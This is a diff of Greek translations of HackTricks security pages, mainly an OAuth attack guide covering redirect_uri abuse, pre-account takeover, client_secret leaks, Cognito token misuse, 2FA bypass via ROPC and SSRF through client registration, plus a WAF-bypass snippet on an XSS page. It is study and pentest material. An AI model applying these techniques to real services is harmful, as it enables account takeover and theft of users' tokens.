Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (τον εξουσιοδοτημένο διακομιστή).
|
||||
|
||||
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
|
||||
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως εκ τούτου, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
|
||||
|
||||
Είναι σημαντικό να κατανοήσετε τα παρακάτω στοιχεία μέσα στο πλαίσιο του OAuth 2.0:
|
||||
Είναι σημαντικό να κατανοήσετε τα εξής στοιχεία μέσα στο πλαίσιο του OAuth 2.0:
|
||||
|
||||
- **resource owner**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στους πόρους σας, όπως οι αναρτήσεις του λογαριασμού σας στα κοινωνικά δίκτυα.
|
||||
- **resource server**: Ο **διακομιστής που διαχειρίζεται τις αυθεντικοποιημένες αιτήσεις** αφού η εφαρμογή έχει εξασφαλίσει ένα `access token` εκ μέρους του `resource owner`, π.χ., **https://socialmedia.com**.
|
||||
@ -56,9 +56,9 @@ Host: socialmedia.com
|
||||
|
||||
### Ανοιχτό redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακοδιαμορφωμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, επιτρέποντας την κατάληψη λογαριασμού.
|
||||
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακοδιαμορφωμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, διευκολύνοντας την κατάληψη λογαριασμού.
|
||||
|
||||
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτά redirects, διαδρομές διαδρομής, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token.
|
||||
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορεί να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διαδρομές διασύνδεσης, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή διακριτικών.
|
||||
|
||||
Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών.
|
||||
|
||||
@ -83,13 +83,13 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια τρίτη υπηρεσία για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον τρίτο λογαριασμό με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email στο OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν τα emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού καναλιού.
|
||||
|
||||
### Disclosure of Secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
|
||||
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργούν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
@ -114,7 +114,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
Ο **κωδικός εξουσιοδότησης θα πρέπει να ισχύει μόνο για κάποιο χρονικό διάστημα για να περιορίσει το χρονικό παράθυρο όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
|
||||
Ο **κωδικός εξουσιοδότησης θα πρέπει να ζει μόνο για κάποιο χρονικό διάστημα για να περιορίσει το χρονικό παράθυρο όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
|
||||
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που επιστρέφει ο **AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς.
|
||||
Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που **επιστρέφει η AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -156,49 +156,49 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** θα μπορούσε να δημιουργήσει μια **εφαρμογή που υποστηρίζει OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στην δική του εφαρμογή. Στη συνέχεια, μόλις ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος θα μπορούσε να αποκτήσει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του χρήστη του θύματος**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του εφαρμογή OAuth, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token παραχωρήθηκε στο ID της εφαρμογής τους.
|
||||
> Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του OAuth εφαρμογή, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token έχει παραχωρηθεί στο ID της εφαρμογής τους.
|
||||
|
||||
### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να γίνει ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
|
||||
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον host του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον host του επιτιθέμενου.
|
||||
|
||||
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση.
|
||||
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον host του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον host του επιτιθέμενου** κατά την ανακατεύθυνση.
|
||||
|
||||
### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Όπως εξηγείται [**σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδειχθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
|
||||
Όπως εξηγείται [**σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να δηλωθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
|
||||
|
||||
### response_mode
|
||||
|
||||
Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), μπορεί να είναι δυνατό να υποδειχθεί η παράμετρος **`response_mode`** για να υποδείξετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL:
|
||||
Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), μπορεί να είναι δυνατό να δηλωθεί η παράμετρος **`response_mode`** για να δηλώσετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL:
|
||||
|
||||
- `response_mode=query` -> Ο κωδικός παρέχεται μέσα σε μια παράμετρο GET: `?code=2397rf3gu93f`
|
||||
- `response_mode=query` -> Ο κωδικός παρέχεται μέσα σε μια GET παράμετρο: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Ο κωδικός παρέχεται μέσα στην παράμετρο τμήματος της διεύθυνσης URL `#code=2397rf3gu93f`
|
||||
- `response_mode=form_post` -> Ο κωδικός παρέχεται μέσα σε μια φόρμα POST με μια είσοδο που ονομάζεται `code` και την τιμή
|
||||
- `response_mode=form_post` -> Ο κωδικός παρέχεται μέσα σε μια POST φόρμα με μια είσοδο που ονομάζεται `code` και την τιμή
|
||||
- `response_mode=web_message` -> Ο κωδικός αποστέλλεται σε ένα μήνυμα post: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
|
||||
### Ροή OAuth ROPC - Παράκαμψη 2 FA <a href="#b440" id="b440"></a>
|
||||
|
||||
Σύμφωνα με [**αυτή την ανάρτηση στο blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), αυτή είναι μια ροή OAuth που επιτρέπει τη σύνδεση στο OAuth μέσω **όνομα χρήστη** και **κωδικού πρόσβασης**. Αν κατά τη διάρκεια αυτής της απλής ροής επιστραφεί ένα **token** με πρόσβαση σε όλες τις ενέργειες που μπορεί να εκτελέσει ο χρήστης, τότε είναι δυνατό να παρακαμφθεί η 2FA χρησιμοποιώντας αυτό το token.
|
||||
Σύμφωνα με [**αυτή την ανάρτηση blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), αυτή είναι μια ροή OAuth που επιτρέπει τη σύνδεση στο OAuth μέσω **ονόματος χρήστη** και **κωδικού πρόσβασης**. Αν κατά τη διάρκεια αυτής της απλής ροής επιστραφεί ένα **token** με πρόσβαση σε όλες τις ενέργειες που μπορεί να εκτελέσει ο χρήστης, τότε είναι δυνατό να παρακαμφθεί η 2FA χρησιμοποιώντας αυτό το token.
|
||||
|
||||
### ATO σε ιστοσελίδα που ανακατευθύνει με βάση το open redirect στον παραπομπέα <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Αυτή η [**ανάρτηση στο blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) σχολιάζει πώς ήταν δυνατό να εκμεταλλευτεί ένα **open redirect** στην τιμή από τον **παραπομπέα** για να εκμεταλλευτεί το OAuth για ATO. Η επίθεση ήταν:
|
||||
Αυτή η [**ανάρτηση blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) σχολιάζει πώς ήταν δυνατό να εκμεταλλευτεί κανείς ένα **open redirect** στην τιμή από τον **παραπομπέα** για να εκμεταλλευτεί το OAuth για ATO. Η επίθεση ήταν:
|
||||
|
||||
1. Το θύμα αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου
|
||||
2. Το θύμα ανοίγει τον κακόβουλο σύνδεσμο και ένας opener ξεκινά τη ροή Google OAuth με `response_type=id_token,code&prompt=none` ως πρόσθετες παραμέτρους χρησιμοποιώντας ως **παραπομπέα την ιστοσελίδα του επιτιθέμενου**.
|
||||
3. Στον opener, αφού ο πάροχος εξουσιοδοτήσει το θύμα, το στέλνει πίσω στην τιμή της παραμέτρου `redirect_uri` (ιστοσελίδα θύματος) με κωδικό 30X που διατηρεί ακόμα την ιστοσελίδα του επιτιθέμενου στον παραπομπέα.
|
||||
4. Η **ιστοσελίδα του θύματος ενεργοποιεί το open redirect με βάση τον παραπομπέα** ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος.
|
||||
4. Η ιστοσελίδα του θύματος **ενεργοποιεί το open redirect με βάση τον παραπομπέα** ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος.
|
||||
|
||||
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.**
|
||||
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμη διαδρομή για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμη διαδρομή για ευπάθειες ασφαλείας, ειδικότερα για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
|
||||
**Κύρια Σημεία:**
|
||||
|
||||
- Η **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URLs για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτημάτων POST.
|
||||
- Η **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URLs για λογότυπα ή JSON Web Key Sets (JWKs) μέσω POST αιτημάτων.
|
||||
- Αυτή η δυνατότητα συμμορφώνεται με τις προδιαγραφές που καθορίζονται στο **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που ενδέχεται να είναι ευάλωτες σε SSRF.
|
||||
- Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους:
|
||||
- **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά.
|
||||
@ -209,7 +209,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
**Στρατηγική Εκμετάλλευσης:**
|
||||
|
||||
- Το SSRF μπορεί να ενεργοποιηθεί καταχωρώντας έναν νέο πελάτη με κακόβουλα URLs σε παραμέτρους όπως `logo_uri`, `jwks_uri`, ή `sector_identifier_uri`.
|
||||
- Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί από ελέγχους λευκής λίστας, η παροχή μιας προεγγεγραμμένης, ελεγχόμενης από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
- Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί από ελέγχους whitelist, η παροχή μιας προεγγεγραμμένης, ελεγχόμενης από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
|
||||
## Συνθήκες Αγώνα Παρόχων OAuth
|
||||
|
||||
|
@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
|
||||
```
|
||||
### **Surrogate Pairs BF**
|
||||
|
||||
Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για XSS αλλά θα μπορούσε να είναι χρήσιμη για να παρακάμψει τις προστασίες WAF. Αυτός ο κώδικας python δέχεται ως είσοδο 2 bytes και αναζητά ζεύγη υποκατάστασης που έχουν το πρώτο byte ως το τελευταίο byte του υψηλού ζεύγους υποκατάστασης και το τελευταίο byte ως το τελευταίο byte του χαμηλού ζεύγους υποκατάστασης.
|
||||
Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για XSS αλλά θα μπορούσε να είναι χρήσιμη για να παρακάμψει τις προστασίες WAF. Αυτός ο κώδικας python δέχεται ως είσοδο 2 bytes και αναζητά ζεύγη surrogate που έχουν το πρώτο byte ως το τελευταίο byte του High surrogate pair και το τελευταίο byte ως το τελευταίο byte του low surrogate pair.
|
||||
```python
|
||||
def unicode(findHex):
|
||||
for i in range(0,0xFFFFF):
|
||||
@ -244,9 +244,9 @@ console.log(this) //[object Window]
|
||||
}
|
||||
test_apply.apply(null, ["arg1", "arg2"])
|
||||
```
|
||||
### Arrow functions
|
||||
### Συναρτήσεις βέλους
|
||||
|
||||
Οι βέλτιστες συναρτήσεις σας επιτρέπουν να δημιουργείτε συναρτήσεις σε μία μόνο γραμμή πιο εύκολα (αν τις κατανοείτε)
|
||||
Οι συναρτήσεις βέλους σας επιτρέπουν να δημιουργείτε συναρτήσεις σε μία μόνο γραμμή πιο εύκολα (αν τις κατανοείτε)
|
||||
```javascript
|
||||
// Traditional
|
||||
function (a){ return a + 1; }
|
||||
@ -269,7 +269,7 @@ let a = 4;
|
||||
let b = 2;
|
||||
() => a + b + 1;
|
||||
```
|
||||
Έτσι, οι περισσότερες από τις προηγούμενες συναρτήσεις είναι στην πραγματικότητα άχρηστες γιατί δεν τις αποθηκεύουμε πουθενά για να τις αποθηκεύσουμε και να τις καλέσουμε. Παράδειγμα δημιουργίας της `plusone` συνάρτησης:
|
||||
Λοιπόν, οι περισσότερες από τις προηγούμενες συναρτήσεις είναι στην πραγματικότητα άχρηστες γιατί δεν τις αποθηκεύουμε πουθενά για να τις αποθηκεύσουμε και να τις καλέσουμε. Παράδειγμα δημιουργίας της `plusone` συνάρτησης:
|
||||
```javascript
|
||||
// Traductional
|
||||
function plusone(a) {
|
||||
|
@ -11,7 +11,7 @@ Last updated: 02/04/2023
|
||||
* book.hacktricks.wiki
|
||||
* cloud.hacktricks.wiki
|
||||
|
||||
Χρησιμοποιώντας οποιαδήποτε από αυτές τις ιστοσελίδες, συμφωνείτε με τη χρήση cookies σύμφωνα με αυτή την Πολιτική Cookies. Εάν δεν συμφωνείτε, παρακαλούμε να απενεργοποιήσετε τα cookies στις ρυθμίσεις του προγράμματος περιήγησής σας ή να αποφύγετε τη χρήση των ιστοσελίδων μας.
|
||||
Χρησιμοποιώντας οποιαδήποτε από αυτές τις ιστοσελίδες, συμφωνείτε με τη χρήση cookies σύμφωνα με αυτή την Πολιτική Cookies. Εάν δεν συμφωνείτε, παρακαλώ απενεργοποιήστε τα cookies στις ρυθμίσεις του προγράμματος περιήγησής σας ή αποφύγετε να χρησιμοποιήσετε τις ιστοσελίδες μας.
|
||||
|
||||
### What are cookies?
|
||||
|
||||
@ -34,7 +34,7 @@ Last updated: 02/04/2023
|
||||
|
||||
Managing cookies
|
||||
|
||||
Οι περισσότερες εφαρμογές περιήγησης ιστού σας επιτρέπουν να διαχειρίζεστε τα cookies μέσω των ρυθμίσεών τους. Μπορείτε να επιλέξετε να αποκλείσετε, να διαγράψετε ή να περιορίσετε τη χρήση cookies στη συσκευή σας. Ωστόσο, παρακαλούμε σημειώστε ότι η απενεργοποίηση των cookies μπορεί να επηρεάσει τη λειτουργικότητα και την απόδοση των ιστοσελίδων μας.
|
||||
Οι περισσότερες εφαρμογές περιήγησης ιστού σας επιτρέπουν να διαχειρίζεστε τα cookies μέσω των ρυθμίσεών τους. Μπορείτε να επιλέξετε να αποκλείσετε, να διαγράψετε ή να περιορίσετε τη χρήση cookies στη συσκευή σας. Ωστόσο, παρακαλώ σημειώστε ότι η απενεργοποίηση των cookies μπορεί να επηρεάσει τη λειτουργικότητα και την απόδοση των ιστοσελίδων μας.
|
||||
|
||||
Changes to this Cookies Policy
|
||||
|
||||
@ -42,4 +42,4 @@ Changes to this Cookies Policy
|
||||
|
||||
### Contact us
|
||||
|
||||
Εάν έχετε οποιαδήποτε ερώτηση ή ανησυχία σχετικά με αυτή την Πολιτική Cookies, παρακαλούμε επικοινωνήστε μαζί μας στο [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
|
||||
Εάν έχετε οποιαδήποτε ερώτηση ή ανησυχία σχετικά με αυτή την Πολιτική Cookies, παρακαλώ επικοινωνήστε μαζί μας στο [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
|
||||
|
@ -10,10 +10,10 @@
|
||||
> - Δώστε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚους πόρους hacking** σε **ΟΛΟΥΣ** στο Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
